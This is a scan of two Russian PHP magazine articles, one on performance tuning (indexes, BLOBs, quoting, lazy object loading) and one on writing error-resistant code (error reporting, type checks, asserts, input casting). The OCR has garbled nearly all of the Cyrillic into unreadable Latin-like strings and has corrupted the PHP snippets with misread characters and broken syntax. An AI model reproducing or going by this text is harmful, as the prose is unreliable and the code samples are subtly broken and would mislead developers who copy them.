MIPOU3BOIUTHCS BCTABKH JIAHHBIX U TOJILKO OcTaiibHbIe 10% — BRIOOpKH,
TO, CKOpEe BCEro, MHJCKChl BaM HE HY)KHBI, ITIOTOMY YTO OHH MOTYT
3HAYUTEJIBHO 3aMEUINTh BCTABKM JaHHBIX W HX OOHOBIeHHUsS. [Ipu
BCTaBKE MAHHBIX OyJeT OOHOBJIEH HWHACKC TaOIHIBI, B KOTOPYIO OHa
npou3BOANTCs. Tak 4To eclii JaHHbIe BCTABILUIHCH B Ta0uiy 10000 pa3s,
nHIaekc Obur  oOHoBieH 10000 pas. IlpenactaBeTe cebe BecbMa
MOCemaeMoe TPWIOKEHHe, peanm3yrolee omnpoc. SIcHo, d9To TpH
3amoHeHnn (OpMBbI ompoca OyneT MPOU3BOAMTHECS BCTaBKa B 0asy
nmaHHbIX. [loaToMy HET HUKakoW HYXIObl B WHAEKCax B TaOmuIle
Pe3yNBTAaTOB OMpoOca, TaK KaK BBIOOPKW MaHHBIX OYAyT 3HAYHTEIHHO
0oJiee peIKUMU, YeM BCTABKH.

C JOpyrodl CTOpOHBI, WHAEKCH OYyAyT IIOJIE3Hbl NpPU aHaIn3e
pe3yabTatoB ompoca. OcoOCHHO, ecli B TaOJMIE CONEPKHUTCS OKOJIO
MUJUIMOHA 3aIMCEH, OHU MOT'YT YMEHBUIUTh BPEMs BBINOJIHEHUS 3aIpoca
Ha HECKOJIBKO CeKyH/[. JIMCTHHT 2 TIOKa3bIBaE€T MPUMEP TaKOH TEXHUKU:

<?php

// coemuHeHre c 6asz30M HAHHHX... // CO3maHUEe MHIEKCOB

mysgl query ("CREATE INDEX sid index ON submitted answers (sid)");
// MHOTO BEOOPOK... // yHOajleHre MHIEKCOB

mysgl query ("DROP INDEX sid index ON submitted answers");

>

Jlucmune 1
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B 3TOM ckpurnite mepen TeM, Kak MPOU3BOIUTH BEIOOPKH M3 0a3bl
JIAaHHBIX, co3maeTcs nHaeKe. [I0ToM pou3BOIATCS COOCTBEHHO BRIOOPKH,
MIpUYeM 3HAYUTEIHHO OBICTpee, YeM eclii Obl MHAEKCHI OTCYTCTBOBAJIH.
ITocne 3TOro MHAEKC YHUUTOXKAETCS, YTO MO3BOJISIET CHOBA MPOU3BOAUTH
OBICTpBIE BCTaBKH JTaHHBIX.

Crour 3aMCTUTb, YTO HUHACKCHI 3aHUMAIOT OLIYTUMOC MCCTO Ha
KECTKOM IOHUCKE. XOTs 3TO HE MNpEeaACTaBIIACT 0co0oi BA)XXHOCTH, TaK KakK
MECTO Ha XCCTKOM OHMCKE OCUICBO, 6y2[6T TMOJIC3HBIM MOPAa3MBbICIIUTL HA
CO3JaHMEM HUHICKCOB IJIA Ta6JII/IIII:I, KOTOpas B CKOPOM BPEMCHU MOKET
S3HAYUTCIIBHO YBCIIMYUTLCA B oobeMe.

[lons Onsi 6UHapHbIX 0aHHbIX

O monsix 11 XpaHeHust OuHapHBIX JaHHBIX (Binary Large OBject,
BLOB) nmumi ¥ NpoJOIIKAKOT WATH TOpsuMe CIopel. B atmx cnopax | YAamiercs 6onbmioi BLOB,
HOBOSIBJICHHBIE “Typy”, 3asBisis, uto BLOB'sl 0JHO3Ha4YHO IUIOXH, | BCTABJBIETCS MANCHBKUI,
CKPBUIM UX peabHbIC MPEUMYIIECTBA U HEJIOCTATKH. B 3TOM paszene Mbl | YAAISIETCs APYTOH,
paccMoTpuM, TodeMmy ucronb3oBanue BLOB'oB B oOmiem ciygae — | BCTaBISICTCS €IIC OAUH
Ioxas 3aresi, HO MEPEI STHM CTOUT 3aMETHTh, YTO BCE KE UX MOKHO | OOJNBHION — M OYEHB CKOPO
UCIIONIb30BaTh B TOM CJIyYae, €CIH MCIONb3yETCsl PEIUIMKALMS JaHHbIX. | BAIl JKECTKUM JUCK OyaeT
Bo Bcex OCTambHBIX CIydasix CTOMT HMCIOJB30BaTh JUIS XpaHEHWs | BBIDSUIETH KakK IOJIE OUTBBL
OMHApHBIX JaHHBIX (ailIOBYIO CHCTEMY . 4epes JIeHb 110CIIe BOMHBI

Ilepass mpobnema c¢ BLOB'amu TakoBa, YTO OHH MOTYT
Ype3BBIYAHO OBICTPO (parMeHTUPOBATh JKeCcTKuM auck. Kak 2310
00bIYHO TIpoucXoauT: ypamsercs Oombmoii BLOB, BcraBnsercs
MaJICHBKHIA, yAAIsIeTCs IPYrod, BCTABISAETCS €Il¢ OJWH OOJBIION — U
OUCHb CKOPO Balll JKECTKUU IUCK OyJET BBIMJISAAETh KaK IOJIe OUTBBI
yepe3 JCHb Mocie BOHHBL. HeT HyXIbl TOBOPUTH, YTO (PparMeHTaIUs
PE3KO CHIXKAET MPOU3BOUTEIBHOCTD KECTKOTO JUCKA.

Hpyras npudarHa s oTKa3a oT ucnonb3oBanus BLOB'oB cocront
B cienyoomeM. OHAM U3 YacThIX NPWIOKEHHUH, HCIIOJIb3YIOIIUX
BLOB'sI, sBAsCTCS Tanepes W300pa)XeHWH, TJI€ YacTO OJHOBPEMEHHO
MOoKa3bIBaeTcst, Kk mpumepy, 20 m3oOpaxenuid Ha cTpaHune. Ecimm B
ucnonb3zyere BLOB'bl, TO BaM NpuAETCs 3aBECTH CKPUNT, KOTOPBIU
Oyner moceinare HeoOxoaumbie HTTP-3aronoBku u OuHapHBIE JaHHEIE,
HampuMmep <img src="show_image.php?image id=222">. Ckpunr
show image.php Oyzaer 3arpyxath qaHHbIE U3 0a3bl JAaHHBIX M MOCHUIATh
ux ¢ HTTP-3aronoBkamu, yka3bIBalOIUMU, YTO 3TO U300pakeHUe. DTO
3HauuT, uto s 20 u3o0OpakeHuit Oynet craemano 20 3ampocoB k Oase
nanHbeix. OZIHAKO, €CJIM TIOMECTUTh U300pakeHus: B (paiiioBylo cucremy,
TO MOXHO OyneT 000MTHCH BCETO JINIIb OJHUM 3aIIPOCOM — BBIUTPHIII B
OBICTPOACHCTBUY OUYEBUICH.

Onmumu3ayusi UcXoOHO20 Kooa

PHP-koa MoxeT OBITh 3HAUUTENBHO YCKOPEH MPU HCIOIH30BAHUH
HECKOJIBKMX TEXHHK, HEKOTOpbhIE M3 KOTOPBIX BBITTISAASAT NPHUBBIYHO, a
JIpyrde MOTYT OBITh HECKOJBKO HEOOBIYHBL. B mobom cimydyae oHM
YBEIMYMBAIOT TPOU3BOJUTEIHFHOCTh, a 3TO Kak pa3 TO, HYEro Mbl
nobusaemcsl.
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Kasbiuyku

IToutn kaxawlii pa3, korma s uutaro PHP-xox B uHTEpHere, s
VAUBIIIIOCH, KaK HEOOAyMaHHO HCIOJNB3YIOTCS KaBBIUKH. [IpeacTtaBum,
YTO HAIll TJIABHBIA apryMeHT — CKOpOCTh. [lo3aTOMy, BO-TIEpBBIX, HET
HHMKaKoil HeoOxomuMocTH Imcath "$variable" — KaBBIUKM 37€ch HE
HY)XHBI. BO-BTOpBIX, cieqyer oOpaMmisiTh CTPOKY, TAe HE Tpedyercs
3aMeHa TIepEMEeHHBIX WX 3HAaYeHHWsSIMH, B OJIMHApHbBIE KaBBIYKU. HakoHer,
ecnm TpeOyercss 3aMeHSATh IEPEMEHHBIE B CTPOKE WX 3HAUEHUSIMH,
HCIONb3yHTE NBOUHBIC KABBIUKU.

CymecTByeT elie oAHa JacTtas npolnemMa ¢ KaBbIYKaMl — MHOTHE
JIOOM HE TIOMEHIAIOT B KaBBIYKM KIIOYM MaccHBOB (Hampumep, $foo
[bar]). SAnmpo PHP mombiTaeTcsi HAaliTH KOHCTaHTY bar W CreHepupyer
NpenyNpeXICHUE, €CIM TaKoil He CyLIeCTBYyeT. 3aTeM, Mpomas Io
cBOeMy OOBIKHOBeHHMIO mporpammucta, PHP Oyner mntepmpermpoBath
bar kak cTpoky “bar”, 4To 3aliMeT HEKOTOpoe BpeMs. B aTtom cirydae
JydIlle  HCIOJb30BaTh  KaBBIUKH, 4YTOOBI H30€XaTh TeHepaluu
MPEIyTPEeXIEHHS, TaK YTO CKPHUITHI OyIyT BBIIOIHATHCS OBICTpEE.

[lpusbiyHbIe pewieHUs

WHorna Mbl HauyMHAEM HCIIOIL30BaTh HEKOTOpHIE peIIeHus Oe3
HYXIbl, IIOBTOpss HUX IO IPUBBIYKE, YTO HE BCErJa XOPOLIO.
[IpencraBum, 4TO MHE HEOOXOIUMO CO3/1aTh MPHIOKEHNE, PEATU3YIOIIEEe
KaTajor TOBapoB, IS OAHOTO M3 MOMX KiIMeHTOB. Ckopee Bcero s
co3laM cHCTeMy ynpaBieHuss wuHpopmanueil (content management
system, CMS), depe3 KOTOPyH KIHEHT CMOXET padoTarh ¢
uHpopMalued B katajore. B TakoMm pa3BUTHH COOBITHII HET HUYETrO
HEHOPMAJILHOTO, HO TOJILKO €CIIM pa3padaThiBaeTcsl CIIOKHOE BeO-
MIPWIOKEHHUE, a HE MPOCTeIIee, KaKk B 3TOM ClIydae.

Kak >xe m3berarp Takmx curyaruii? HeoOXoaumo ompeneiauTs,
HY’KHO JI HallleMy MPWIOKEHUIO0 OBITh JUHAMAYHBIM. OTpeneneHHo, B
9TOM HET HEOOXOAWMMOCTH B €ro aJMHUHHCTPATHBHON dYacTH, T[e
aJIMHHUCTPATOpbl OyAyT OOHOBIATH Karaior. bomee Toro, BcTymas B
MPOTUBOPEUHE C PACIPOCTPAHEHHBIM MHEHHUEM, Mbl HE HYXKJAaeMCs B
9TOM U B OTKPBITON yacTH caiita. CaMoe yacTtoe JeiiCTBUE MOCETUTENS —
IIPOCMOTP TOBapOB B Karajore — OyJeT COMPOBOXKIATHCS IMOKA30M
OIHOM M TOW e WH(pOpPMAIMH, CHOBA M CHOBa BBIOMpacMON U3 0a3bl
naHHbeiX. CyHIeCTBYET HECKOJBKO CHOCOOOB pEIIeHHs 3TOH MpOoOJIeMEI.
Bo-nepBeix, MOxHO reHepupoBarh cratuuHble HTML-cTpanunel. Eciou
BO3MOXXHO, MBI MOXKEM 3aIlyCKaTh II0 PACHHCAHHUIO KaXAYI0 HOYb
CKPHIIT, KOTOPHIH OyJeT MpOBepsTh, W3MEHIIACH JIH 0a3a MaHHBIX C
MoOMeHTa mocieaneil reHepanuu HTML-cTpaHul, U reHepupoBaTh HX
3aHOBO B 3TOM ciy4ae. [[pyroil BapuaHT peLICHUS — HCIOIb30BAHUE
MPOCTOT0 MEXAaHHW3Ma KAIIHUPOBAHUS CTpaHUL. MHOXECTBO U3 HHX
JOCTYITHO B UHTEPHETE, HAIPUMED, CaMblii U3BECTHBIM — Smarty.

O6BEKMHO-0PUEHMUPOBAHHOE MPpo2paMMUpPO8aHUE

Hexoropoe Bpemsi Ha3zam s OOHApyXWI, YTO OOBEKTHI MOHUX
MPOrpaMM ONIYTUMO CHIKAIIM MPOU3BOTUTENHHOCTH. [IpencraBbTe, 4TO
y MeHs Obu1 Kiace “Ilkoma”, u korma co3maBajcs OOBEKT ATOTO Kiacca,
TO 3arpyXalluch OOBEKTHI Kllacca Y UYeHUKOB.
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Nudopmarus 06 YueHnkax 3arpyxanack u3 0a3pl maHHBIX. [Ipu
MIPOCKTUPOBAHHUH TIPHUIIOKEHHUS S PACCUNTHIBAI, YTO YUCHUKOB OymeT He
OoJjple cra, HO TOPOJ POC, BCE NETH XOTENH YYUTHCS, W KOJIHMYECTBO
Y4eHHKOB BBIPOCIIO IO AecATH ThIcsS4. [loaToMy momydminoch, 9To maxe
€CNIM 51 BCEro JMIIb XOTeN y3HaTh uMs MKoibl, Bce 10000 oObekToB
Y4eHHUKOB JOKHEI ObUTH OBITH 3aTrPy KEHBI.

[TonsiTHO, YTO 3arpyaThb Bcex YueHukoB B lllkonay B oOmem
cilyyae He UMeeT cMbicia. UToObl pa3peimuTs 3Ty mpobieMy, s co3nanl
METOJ, 3arpy’Karoliuii Y4YeHUKOB, €CIIi OHU HEOOXOAUMBI, i MPEKpaTHI
3arpy>kaTh UX U3 KOHCTPYKTOpPAa — 3TO MO3BOJIWIO 3HAYUTEIbHO CHU3UTH
UCHOJb30BaHue mamiaTH. OmnucaHHBIA NpuUMep JIOBOJBHO  YacTo
BCTPEYAETCSI B PEANBHOCTH, 3a TEM UCKJIIOUEHUEM, YTO TAKUE CHUTyaluU
ropaszlo TpyIHEee paclo3HaTh WM, TeM OoJjiee, Ipeackas3ats. B 1roOom
ciyyae 00 3TOM HEOOXOOMMO 3aIyMBIBAThCS IPHU IPOEKTUPOBAHHUU
IpOrpaMMBbl, M ANl ceOa S B3sU1 B IPABWIO HE 3arpyxkarb HaOOpBbI
00BEKTOB 10 T€X MOP, IOKAa OHU PEAILHO HE MOHAJ00STCS.

3akroyeHue

HpI/IeMI)I, ONMCaHHBIEC B 3TOU CTaThbE, MOT'YT BBITJIAJCTE HECKOJIBKO
HEOOBIYHBIMU. BBITP MOXET, MX HCIIONB30BAaHHE ITOXO0XKE HA IIONBITKY
cracTu ToHymIylo cobaky. Ho ecim cobaka cnaceHa, 3HaYHT, 3Ta CTaThs
HarucaHa He 3ps. Y 1aum.

Cceblinku

http://apc.communityconnect.com/

http://zend.com/

http://xdebug.org/
http://ioncube.com

http://pear.php.net/package/Benchmark/
http://smarty.php.net/

Opurunan cratbi: http://php-mag.net/itr/online artikel/psecom.id,502.nodeid.114.html
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lNuwem PHP kod, ycmou4uesbil Kk owubkam

Owubdku - smo ouy mobot npozpammel. HYem Gorvwe npoekm, ABTOp:
mem mpyonee UCnpasiams U Haxooums owudOxku. Ho naubonee 8asxicHvim
6 npoyecce pabomel ¢ NPOSPAMMOU  AGIAEMCS  KEATUDUKAYUL
NPOSPAMMUCING U €20 dcelaHue HANUCAMb NPAGUTbHLII U AKKYPAMHbLU
K00, cooeparcauuii MUHUMATbHOE KOAULECHB0 OUUOOK.

Anekcannp Hetkaues

B oroii craTthe s mocrapaiock coOpaTh TEXHUKA M TPUEMBI,
MO3BOJISIONINE MHHHMU3UPOBATh KOJUYECTBO OIIMOOK B IMPOrpaMme,
HanucanHo Ha PHP. Ho HekoTopsie W3 MOpeAcTaBIEHHBIX METOJ0B
MOTYT TNPUTOAUTBCS, ©CIAM Bbl IMHIIETe Ha JIIOOOM  SI3bIKE
MPOTPaMMHUPOBAHHUS.

3HaHuUe — rosioeuUHa ycriexa

Y3xnaem, o yvem coobwaem PHP

B 11000M sI3BIKE CYIIECTBYET MHOYKECTBO TTOTCHIIMAEHO OMACHBIX
CUTyaIlii, KOTOpble dYpeBaThl HesSBHBIMH ommOKkamu. Ilpm pazbope
TPAHCISATOPOM MCXOJHOTO KOJa TMPOTPaMMBI OH MOXXET CooOmarTh
pa3pabotunky 00 3THX cuTyanusx. s 3TOro HaAO JWIIH BKIIOYUTH
COOTBETCTBYIOUIYIO OIIHI0, KOTOpas OYEHb YacTO II0 YMOIYaHHIO
BBIKJTIOUYEHA IO HEKOTOPBIM COOOPaKESHISIM.

B PHP koHTposb BBIBOJA COOOLICHUH TPAHCIATOpPA ONpENEsIeTcs
(¢yHKUOMEH error reporting W 3HAaYEHHEM IUPEKTHBBI €ITor reporting B
php.ini. Pexomennyemoe e€ 3nauenne E_ALL — T.e. BBIBOJ cOOOIICHHS
000 Bcex MOTEHIMAIbHO onacHbIx cutyanusx. K uum B PHP oTHocsTCH,
HallpUMep, HCIONb30BAHUE HEHMHMIMAIU3UPOBAHHON  IEPEMEHHOM,
oOpareHre K HeCyIIeCTBYIOIEMY 3JI€MEHTY MacCUBa U T.1.

Jna BKIFOUEHUS MaKCHMabHO MOAPOOHOTO BBIBOJA COOOIIEHUIA
TpPaHCIATOpa IOCTaBbTE€ B HAayajJe IMPOrpaMMbl BbI30B (YHKLHUH
error_reporting:

// Ina PHP4
error reporting(E ALL);

WIM IO0CTaBbTe B php.ini 3HayeHuWe error reporting =
E ALL.

C Oonee moJpOOHBIM ONMKMCAHHEM BO3MOXKHBIX YPOBHEH reporting
MO’KHO 3HAKOMMUTCS B PHP JIOKYMEHTAIIN —
http://php.net/manual/en/ref.errorfunc.php

M PHPS BBemen ypoBeHp E STRICT, KOTOpBIM BKIIIOYAET
BBIBOJI COOOIIEHU 00 HWCHOJB30BAaHMHM B KOJE YCTApPEBIINX METOJOB
IPOrpaMMHUPOBaHMs  (HAIpUMEp, HWCIONB3yeTcs var i OIHCAHUS
BHYTPEHHHUX I€peMeHHBIX Kiacca). OH He BXoauT B E ALL, MOITOMY
amss PHPS  pexomengyemsblii  ypoBeHb — cooOmeHuit E ALL |
E STRICT (r.e. E ALL u E_STRICT). COOTBETCTBEHHO, ISl 3a[aHUs
BBIBOJIAa  BCEX  COOOIIEHMH OT  TpaHCHATOpa HAAO  BBI3BATh
error reporting ¢ Takum nmapameTpoM:
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// Hna PHP5
error reporting(E ALL | E STRICT);

Ecnu HU o0 yem He coobwaem

Ecnu Bl ycTaHOBWIM BBIBOJ, OLIMOOK, HO HUYETO HE BBIBOAMTCS,
TO MPOBEPHTE 3HAYCHHUE OMIUHM ini (aiiia, BKIIOYAIOMIEH BBIBOJ OIIMOOK
HEIIOCPEACTBEHHO B script output - display errors.

print ini get('display errors');
// BHBOIMT TeKylmee 3HaueHme onuum display errors
ini set('display errors', 1);

// BEOYAeT BHBOL OmMGOK BMECTE C PEe3YJILTATOM PaGOTH CKPUITA

Ecnu edpye coobwum

Kpaiine penko ymaercs MpOTECTUPOBATH MPOTPaMMY IOJHOCTBIO.
[looTomy HEOOXOAWMO HWCHOJB30BaTh METONBI cOopa  OIMMOOK
TpaHCIATOPa HETIOCPECTBEHHO BO BpeMsl pabOTHI mporpamMmsl. i 3Thx
nenei cmyxur log-daitn ommbok. Bxmrowaercs oH log errors

onuMed php.ini.

[Tone3Hno TakXe MOCTaBUTh CBOW 0OpabOTYHMK OIMIMOOK, €CIH BBI
XOTUTE HE TONBKO 3aHOCHTHh OmMWOKKM B log-daitm HO W mM00aBUTH
HEKOTOPYIO [OTIOJIHUTENBHYIO JIOTHKY uX o00pabotku. Hampumep,
OTIIPaBUTh MUCHMO INPH cooOmeHnn TpaHcuaropa. [lonpoOHee 00 3ToM
HaIMCcaHo B CTarbe “JloBnsa OINOOK B PHP”
(http://detail.phpclub.net/article/2002-10-03), koTOpyro Hanwcainl AHTOH
Hosranis.

CpasHusaeMm KOHcmaHmy ¢ nepemMeHHol, a He

Haobopom

CKONBKO pa3 BaM MPHUXOAWIOCH BBIACHATH, 4YTO OIIMOKAa B
IporpaMMe CBsi3aHa C UCHOJb30BaHMEM omepartopa "=" Bmecto "=="7
YrtoObl AenaTh 3TO MPUXOIMIOCH PEXE, UCTIONB3YyHTE CPAaBHEHUS BUA:

if (10 == $1i) {
// 4uTo-TO Imejaem

w__ 13 1

B ciywae mcnonp3oBaHHS BMECTO “==" TpPaHCIATOpP BBLIACT
omnOKy "Parse error: parse error in ... on line ...".
Takum oOpa3oM ommOKa 0OHApYKUBAETCSl 3HAYUTEIHHO OBICTpEe.

He ucnonb3yem 3HadyeHuUe 08axo0bl

Koneuno, 3to npeyBennuenne. Ho ecnm B mporpamMMe BO3HHUKAeT
HEOOXOJUMOCTb HCIIOJb30BAaTh 3HAYEHHUE HECKOJBKO pa3, MOXKHO
[IOPEKOMEH/I0BaTh OOBSABUTH KOHCTAHTY M HCIOJB30BaTh €€ BMECTO
3HAYCHUS.

Hms PHP4 cymecTByer enWHCTBEHHBI CIOCOO OOBIBHUTH
KOHCTAaHTy — HCIOJb30BaTh GYHKIHIO define.
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Hampuwmep:

define ('BEFORE RENDER', 'beforeRender'):;

KoncTanThl B Kitaccax OOBSIBISTE HEb3S.

Pacimpenue PHPS5 g ompeneneHuss KOHCTaHT CXOOHO € TEM,
KOTOpoe OBUIO ocyliecTBiIeHO mnpu pacumpenun ot C mgo CH+—
UCHOJB3yeTCsl KItoYeBoe ciIoBo const. Ho KOHCTaHTHI TakuM oOpazom
MOYHO CO3/1aBaTh TOJBKO BHYTpHU KiaccoB. Ho mis oOpamieHust kK Takoi
KOHCTaHTE HEOOXOIUMO 3HATh UM Kilacca.

Hampumep:

class ControlEvents ({
const BEFORE RENDER = 'beforeRender';

}
print ControlEvents::BEFORE RENDER;

KoHcTaHThl MOTYT OBITh TakXke q00aBICHBI HEMOCPEICTBEHHO B
kinacc. Ho PHP He mopamepxuBaer Takoih merox. Ilostomy mpunercs
OOBSIBUTH MX KaK OOBIYHBIE TIEPEMEHHBIE!

class Control {
var $BEFORE RENDER = 'beforeRender';
function render () {
SeventFunction = $Sthis->BEFORE RENDER;
Sthis->S$SeventFunction () ;

}

[lposepka napamempos pyHKUUU

B PHP mapamerpoM B (QYHKIHIO MOXHO TiepenaTh JIOOYIO
nepeMeHHy0. Ho BOT anropurMmy (yHKUMH MOXeET OBITH BOBCE HE BCE
paBHO, YTO 3a MepeMeHHyto emy nepenanu. [lostomy B Havane QpyHKIMN
MOJIE3HO MPOBEPATH €€ BXOAHBIE MapaMeTpbl Ha HEOOXOAMMBIA TUI U
JUAaIa3oH 3HAYCHUH.

J1y1s MpOBEPKM THIA UCTIONB3YIOTCS CISAYIONIHE (PYHKINU:

gettype (Mixed $var) — BO3BpalllaeT THUIl TMEPEMEHHOM.
HauGonee yacto ucronb3yembie THIBL: boolean, integer, double,
string, array, object, resource, NULL.

DyHKIUU IPOBEPKU HA THIL:

* is bool (Mixed Svar)

* is integer (Mixed $var)
* is double (Mixed S$Svar)
* is string(Mixed Svar)
* is array(Mixed S$Svar)

* is object (Mixed Svar)

* is resource (Mixed Svar)
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Bce onu BozBpamaror true unu false. Jlnsg onpeneneHus
KJ1acca 00bEKTa UCIIONB3YIOTCS (DYHKIIHH:

* get class (Object S$obj) — BO3BpamaeT MM Kiacca,
AK3EMIUIIPOM KOTOPOTO SIBIIIETCS Obj.

* is a(Object S$Sobj, String $class) — mposepser,
SIBIISIETCS I $0DJ 3K3eMIUIIPOM Kjacca Sclass WM Kiacca,
yHacleI0BaHHOTO OT $Sclass.

Hns PHP4 He cymiecTByeT aBTOMAaTHYECKOTO CIIOCO0a MPOBEPKH
napamMeTpoB (QyHKnuu. Bce HEOOXOIMMBIE TPOBEPKH HEOOXOAMMO
JlefaTh CaMOCTOSATEIBHO.

Kox ¢yHkIum, ocymecTBIsIOmEeH MPOBEPKY apryMEHTOB, MOXKET
ObITh ipMepHO Takod (JIuctuHr 1):

/**
* oyHkuMusa showControl npmMHMMaeT OOMH IapamMeTp S$Scontrol,
* BTOT IapaMeTp IOJIXEH ABJIATHCS KJIACCOM U SBJIATHCS
* sk3eMnaapoM kjacca HTMLControl mmbo kijaccow,
* yHacJyenoBaHHEIM oT HTMLControl.
%/
function showControl (&Scontrol) {
is_a($control, 'HTMLControl') or $control == nullé
or exit ('Type missmatch.');

}

Jlucmune 1

JI0CTOMHCTBO 3TOTO METO/a COCTOUT B TOM, YTO MOXHO YIPABJIAThH
coo0MeHusIMI 00 OMIMOKaX W UCHOJIb30BaTh COOCTBEHHBIH 00pabOTUUK
omuOok. Hampumep, Bbl MOXXeTe HCIOIB30BaTh CleAyromue (QpyHKIUU
JUTS IpOBEPKH MapameTpoB (JIuctusr 2):

function checkParameter (&Svar, S$class) {
if (!is_a($var, Sclass) && Svar != null)
SFExit ('Type missmatch.');

}

function SFExit (&Smessage) {

print Smessage . '<br>';

Sbacktrace = debug backtrace () ;

for ($i = 0; $i < count (Sbacktrace); $i++) {

print $i . ': ' . Sbacktrace[$i]['file'] . ' (' .«

Sbacktrace[$i] ['line'] . ")<br>';

}

exit () ;

}

Jlucmune 2

Hpumeuanue: Oynxnus debug_backtrace Beenena Tonasko B PHP 4.3.0.
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IIpumep uX DpUMEHEHMUS:

function showControl (&Scontrol) {
checkParameter ($control, 'HTMLControl');

Jns PHP5 HekoTopble NpOBEpPKU THUIIOB IAPAMETPOB MOXHO
3aJ1aTh HEMOCPEACTBEHHO B omucaHuu ¢yHkimu. [Ipenpiaymuii npumep
Ha PHPS Oyner BeITIIAACTh CIASAYIONIMM 00pa3oMm:

function showControl (HTMLControl $control) {

}

Asserts

Bo Bpems co3maHus ¥ OTIAAKH MPOTPaMMbI MOYKHO HCITOJIb30BaTh
BCTPOEHHBI MEXaHM3M J00aBIIEHUS MPOBEPOK B KOJA mporpaMmbl. OH
Ha3bIBaeTCs asserts (MM assert-mpoBepku). Maest ero cocTout B TOM, YTO
B KOJ IPOTrpaMMbl  A00aBISIOTCA  CHENMAJbHBIE IPOBEPOUYHBIE
KOHCTPYKLMH, KOTOpble MOXKHO OTKIIOUUTH Ui production caiita, HO B
100011 MOMEHT BKJIFOUHMTH IIPU pa3padboTKe.

CJ'IC,I[YIOH_II/IG q)parMeHTLI KOoJda NpUMEPHO aHAJIOTUYHBI:

/* Hcnojb30oBaHue Asserts */
assert options (ASSERT ACTIVE, 1);

function showControl (&Scontrol) {
assert('is a(Svar, \'HTMLControl\') || Svar == null');

}

/* Vicnomb30Bauye if koHCTpykumiz */
define ('"ASSERT ACTIVE', 1);
function showControl (&Scontrol) {
if (ASSERT ACTIVE && ! (is_a($var, 'HTMLControl') || S$var == null')) {
trigger error ('Assertion failed', E USER ERROR) ;

C mnoMompl0 TakuX TPOBEPOK TaKKE MOXKHO IPOBEPATH
napameTpbl (QyHKOMH, BO3BpaliaeMble (QYHKOUSIMHA 3HAYCHUS W T.J.
HyxHO numpe yd4ecTs, 4YTO assert-mpoBEpKH HE JOJDKHBI  OBITH

BBIKITIOUEHBI B pEaJbHO JEMCTBYIOIIEM caiiTe — eciad IporpaMma
HOPMAJIbHO paboTaeT W NPOXOAWUT BCE TMPOBEPKH, TO HX MOXKHO
OTKITIOYHUTH.

u
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[posepsimb 3Ha4YeHUs napaMempos cKpunma
$ REQUEST, $ GET, $ POST, $ COOKIES.

PHP-ckpunt MOXHO paccMarpuBaTh Kak OOJBIIYI0 (YHKIUIO,
KOTOpasi BBI3BIBACTCS C HEONpPENEICHHBIM CIIMCKOM IapaMeTpoB String.
Ecnmu  mpenmomaraercsi,  4YTO ~ HEKOTOpBIE — MapaMeTpbl  OyayT
UCIIOJIb30BaThCA B HEKOTOPBIX BBIYUCICHHSAX, MM OTIPABIATHCS B 0aszy
JAHHBIX, TO MX 00s3aTEIBHO HAJI0 MPE0OPa30BBIBATE K TPEOYEMOMY THITY
Y MCIIOJIb30BaTh TOJBKO MOCTIE SBHOTO MpUBEACHUS!

Bce wmaccuBel REQUEST  SBISIIOTCS OOBIYHBIMH MaCCHBaMHU,
MO3TOMY  3HAYEHHUS B  HUX  MOTYyT OBITh  IEPEONPE/ICIICHBI
HernocpeacTeeHHo. Hampumep:

/* Hcnonb3oBaHue Asserts */
assert options (ASSERT ACTIVE, 1);
function showControl (&Scontrol) ({
assert ('is a($var, \'HTMLControl\') || Svar == null');

/* WcnonbzoBauve if-koHcTpykumit */
define ( 'ASSERT_ACTIVE vV, A1) g
function showControl (&Scontrol) ({
if (ASSERT ACTIVE && ! (is_a($var, 'HTMLControl') || S$var == null')) {
trigger error ('Assertion failed', E USER ERROR) ;

}

}
if (isset('id', $ GET)) {

$ GET['id'] (int)$ GET['id'];
}
else {

$ GET['id'] = null;

}

Pa3sdensu u enacmeyl

N3BectHBI cO BpemeH japeBHero Puma npuniun ‘“Paszpensii u
BJIACTBYH” BIIOJTHE MOXET NPHUTOJUTCSA NPH pa3padoTKe MporpamMMm Ha
mo0OM sI3pIKe TporpammupoBaHus. B tom umcne w nHa PHP. [lns
peaNM3aliMyd 3TOro MpHHLHUIA pa3lIeisiiiTe MporpaMMy Ha JIOTMUYECKHE
Onoxu. {715t 5TOro MOKHO BOCIIOJIB30BAThCS CICAYIOMINMHI METOAaMU:

Ucnonw3zoBanne ¢QyHkiuii. BBIHOCUTE CTPYyKTYpHBIE YacCTH
anroputMa B QyHKIuH. [IpoBepsaiiTe KaXIyr 4acTh OTAECIBHO M 3aTeM
paboTy Bcero anropuTMa B I[ETIOM.

Hcnonp3zoBanue kinaccoB. Opranusyiite mporpaMMHBIN KO/ B BUE
00BEKTOB, B3aMMOEHCTBYIONMX APYT C APYyroM. Beioensiite cyuHOCTH
1 oopMIIIHTE UX B BUAE 00BEKTOB. BHMMaTenbHO paccMaTpuBaiiTe, Kak
OHHU B3aUMOJIEMCTBYIOT ApYyr ¢ Apyrom. Mcnonb3yiiTe, rae 3To pasyMHO,
Jyd4Inve MrabioHbl MpoeKkTupoBanus (design patterns).
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Pazpenaiite noruky u HTML. [y 3TOro cynectByeT MHOXXECTBO
crtoco0oB: mabmornasle oudommotexku, XML, XML/XSL. ITonbepute ms
ce0st HaWTy YN 1 UCTIONB3YHTE.

Paznensiite J0ruKy camMoro NpUIOXKEHHS MPHU MOMOIIM enterprise
design patterns. Mcnone3yiiTe pasneneHue NPUIOKEHHS Ha YPOBHH
(layering) u npyrue TEXHOJIOTHH, MO3BOJIIOUINE CTPYKTYPHO pa3feiuTh
MIPOEKT Ha KPYIHBIE OJIOKH.

3aknyeHue

Bo3MOXHO, KOMYy-TO MaTepual CTaTbu IOKaXeTcs cOopoM
MpONMCHBIX HCTHH. Ho 4 aymaro, 4To OONBLIMHCTBY OH BCE-TaKH
NPUTOAUTCS, a JUId HAYMHAIOIIUX IMPOTPAMMHUCTOB IOCIEIHUN pasaen
“Pasmenstii W BHacTBy’ MOXKET OKa3aTbCsl OCOOEGHHO TIOJIE3HBIM,
MIOCKOJIBKY 33/1a€T HalpaBIeHUE U3YUYEHUS IPOTPaMMHUPOBAHMUSL.

Ecnmn y Bac ecTth KOMMEHTapuud WM COOCTBEHHBIC IPHEMBI
paboThl, KOTOPBIE HE YIOMSHYTHI B 3TOH cTaTbe, s OyAy paj yCIbIIaTh U
00cymuTh X ¢ Bamu.

Takxe Xody BBIpa3UTh NPHU3HATENBHOCTh YYaCTHHKAM Kiry0Oa
phpclub.ru (http://phpclub.ru) 3a momors B HanmMCaHUM CTATHH.

